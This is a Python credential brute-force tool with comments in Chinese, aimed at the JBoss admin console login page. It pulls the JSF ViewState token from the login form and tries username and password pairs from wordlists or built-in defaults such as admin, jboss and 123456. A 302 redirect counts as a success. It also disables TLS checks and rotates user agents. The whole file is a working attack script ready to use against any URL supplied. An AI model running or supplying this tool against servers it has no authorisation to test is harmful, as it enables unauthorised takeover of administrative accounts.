#!/usr/bin/env python
# -*- coding: utf-8 -*-
# @File    :   jboss_admin_console_bruteforce.py
# @Author  :   MINGY
# @Time    :   2023/10/10 16:00:00
# @Software:   VSCode
# @Desc    :   JBoss管理控制台暴力破解工具
"""
JBoss管理控制台暴力破解工具

此脚本对JBoss管理控制台登录进行暴力破解攻击, 以找到有效的用户名/密码组合。
"""

import sys
import urllib3
from time import sleep
from random import randint
from urllib.parse import quote
import argparse

# 禁用SSL警告
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

# 输出颜色代码
RED = '\x1b[91m'
GREEN = '\033[32m'
BLUE = '\033[94m'
YELLOW = '\033[93m'
ENDC = '\033[0m'

# 全局HTTP连接池
gl_http_pool = None

# 默认用户和密码列表
DEFAULT_USERS = ['admin', 'root', 'jboss']
DEFAULT_PASSWORDS = ['admin', 'jboss', 'password', '123456', 'root', 'vulhub']

def init_http_pool():
    """初始化全局HTTP连接池"""
    global gl_http_pool
    gl_http_pool = urllib3.PoolManager(cert_reqs='CERT_NONE', num_pools=50, maxsize=10, block=False, timeout=3)

def get_random_user_agent():
    """生成随机用户代理字符串"""
    user_agents = [
        "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.1 Safari/537.36",
        "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2228.0 Safari/537.36",
        "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.0 Safari/537.36",
        "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.0 Safari/537.36",
        "Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2226.0 Safari/537.36",
        "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1"
    ]
    return user_agents[randint(0, len(user_agents) - 1)]

def get_viewstate_value(page):
    """
    在源代码中查找viewState参数的内容
    :param page: 要搜索的页面代码
    :return: viewstate参数的内容或None
    """
    page = str(page).replace("\\n", "\n")
    full_param = "name=\"javax.faces.ViewState\""

    for i in page.strip().split('\n'):
        tokens = i.strip().split(" ")
        for t in tokens:
            # 获取参数值
            if full_param in t:
                index = tokens.index(full_param)
                if 'value=\"' in tokens[index+1]:
                    obj = tokens[index+1].split("\"")[1]
                    return obj
                elif tokens[index+2]:
                    obj = tokens[index+2].split("\"")[1]
                    return obj
    return None

def url_encode(text):
    """
    将文本编码为URL编码
    :param text: 要编码的文本
    :return: 编码后的文本
    """
    return quote(text)

def try_login(url, username, password):
    """
    尝试使用给定的凭据登录JBoss管理控制台
    :param url: 目标URL
    :param username: 要尝试的用户名
    :param password: 要尝试的密码
    :return: 表示成功或失败的布尔值
    """
    headers = {
        "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8",
        "Connection": "keep-alive",
        "User-Agent": get_random_user_agent()}

    # 获取登录页面
    try:
        r = gl_http_pool.request('GET', url+"/admin-console/login.seam", headers=headers) #type: ignore
    except Exception as e:
        print(RED + "[!] 连接目标时出错: %s" % str(e) + ENDC)
        return False

    if 'set-cookie' in r.headers:
        headers['Cookie'] = r.headers.get('set-cookie', '')

    state = get_viewstate_value(str(r.data))
    if state is None: 
        print(RED + "[!] 未找到ViewState." + ENDC)
        return False
    
    payload = "login_form=login_form&login_form%3Aname="+username+"&login_form%3Apassword="+password+"&login_form%3Asubmit=Login&javax.faces.ViewState="+url_encode(state)
    headers['Content-Type'] = "application/x-www-form-urlencoded"
    
    # 尝试登录
    try:
        r = gl_http_pool.request('POST', url+"/admin-console/login.seam", body=payload, headers=headers, redirect=False) #type: ignore
    except Exception as e:
        print(RED + "[!] 登录尝试时出错: %s" % str(e) + ENDC)
        return False
    
    # 检查登录是否成功（302重定向表示成功）
    if r.status == 302:
        location = r.headers.get('Location')
        # 登录成功后会重定向到带有home.seam或summary.seam的页面
        if location and ('home.seam' in location or 'summary.seam' in location):
            # 额外验证 - 尝试访问受保护的页面
            try:
                r2 = gl_http_pool.request('GET', url + location, headers=headers) #type: ignore
                # 如果我们可以访问该页面，则登录成功
                if r2.status == 200:
                    return True
            except:
                pass
            # 即使我们无法访问页面，如果重定向到home/summary，也可能成功了
            return True
    
    return False

def load_file_lines(filename):
    """
    从文件加载行
    :param filename: 要加载的文件
    :return: 行列表
    """
    try:
        with open(filename, 'r') as f:
            return [line.strip() for line in f if line.strip()]
    except Exception as e:
        print(RED + "[!] 读取文件 %s 时出错: %s" % (filename, str(e)) + ENDC)
        return []

def brute_force(url, users, passwords):
    """
    使用给定的用户和密码列表执行暴力破解攻击
    :param url: 目标URL
    :param users: 用户名列表
    :param passwords: 密码列表
    :return: 成功的凭据列表
    """
    successful_logins = []
    
    print(BLUE + "[*] 开始对 %s 进行暴力破解攻击" % url + ENDC)
    print(BLUE + "[*] 要测试的用户数: %d" % len(users) + ENDC)
    print(BLUE + "[*] 要测试的密码数: %d" % len(passwords) + ENDC)
    print(BLUE + "[*] 总组合数: %d" % (len(users) * len(passwords)) + ENDC)
    
    count = 0
    total = len(users) * len(passwords)
    
    for user in users:
        for password in passwords:
            count += 1
            # print(YELLOW + "[*] 正在尝试 %s:%s (%d/%d)" % (user, password, count, total) + ENDC)
            
            if try_login(url, user, password):
                print(GREEN + "[+] 成功: %s:%s" % (user, password) + ENDC)
                successful_logins.append((user, password))
            else:
                pass
                # print(RED + "[-] 失败: %s:%s" % (user, password) + ENDC)
            
            # 小延迟以减轻服务器压力
            sleep(0.1)
    
    return successful_logins

def parse_arguments():
    """解析命令行参数"""
    parser = argparse.ArgumentParser(description='JBoss管理控制台暴力破解工具 -- By MINGY')
    parser.add_argument('-u', '--url', required=True, help='目标URL (例如: http://target:8080)')
    parser.add_argument('-l', '--userlist', help='包含用户名列表的文件')
    parser.add_argument('-p', '--passlist', help='包含密码列表的文件')
    parser.add_argument('--users', help='逗号分隔的用户名列表')
    parser.add_argument('--passwords', help='逗号分隔的密码列表')
    
    if len(sys.argv) == 1:
        # 显示帮助信息
        parser.print_help()
        print("\n用法:")
        print("  python jboss_admin_console_bruteforce.py -u <目标URL> [-l <用户列表> -p <密码列表>] [--users <用户1,用户2>] [--passwords <密码1,密码2>]")
        print("\n示例:")
        print("  python jboss_admin_console_bruteforce.py -u http://target:8080 -l users.txt -p passwords.txt")
        print("  python jboss_admin_console_bruteforce.py -u http://target:8080 --users admin,root --passwords admin,123456")
        sys.exit(1)
        
    return parser.parse_args()

def main():
    """主函数"""
    init_http_pool()
    
    # 解析命令行参数
    args = parse_arguments()
    url = args.url.rstrip('/')
    
    # 准备用户和密码列表
    users = []
    passwords = []
    
    # 处理用户列表
    if args.userlist:
        users.extend(load_file_lines(args.userlist))
    if args.users:
        users.extend(args.users.split(','))
    
    # 处理密码列表
    if args.passlist:
        passwords.extend(load_file_lines(args.passlist))
    if args.passwords:
        passwords.extend(args.passwords.split(','))
    
    # 如果没有提供用户/密码，则使用默认值
    if not users:
        users = DEFAULT_USERS
        print(YELLOW + "[*] 未提供用户列表，使用默认值: %s" % ', '.join(users) + ENDC)
    
    if not passwords:
        passwords = DEFAULT_PASSWORDS
        print(YELLOW + "[*] 未提供密码列表，使用默认值: %s" % ', '.join(passwords) + ENDC)
    
    # 去除重复项
    users = list(set(users))
    passwords = list(set(passwords))
    
    print(BLUE + "========================================" + ENDC)
    print(BLUE + "  JBoss管理控制台暴力破解 -- By MINGY" + ENDC)
    print(BLUE + "========================================" + ENDC)
    print(GREEN + "[*] 目标URL: %s" % url + ENDC)
    
    # 执行暴力破解
    successful_logins = brute_force(url, users, passwords)
    
    # 打印结果
    if successful_logins:
        print(GREEN + "\n[+] 找到 %d 个成功登录:" % len(successful_logins) + ENDC)
        for user, password in successful_logins:
            print(GREEN + "    %s:%s" % (user, password) + ENDC)
    else:
        print(RED + "\n[-] 未找到成功登录." + ENDC)

if __name__ == '__main__':
    main()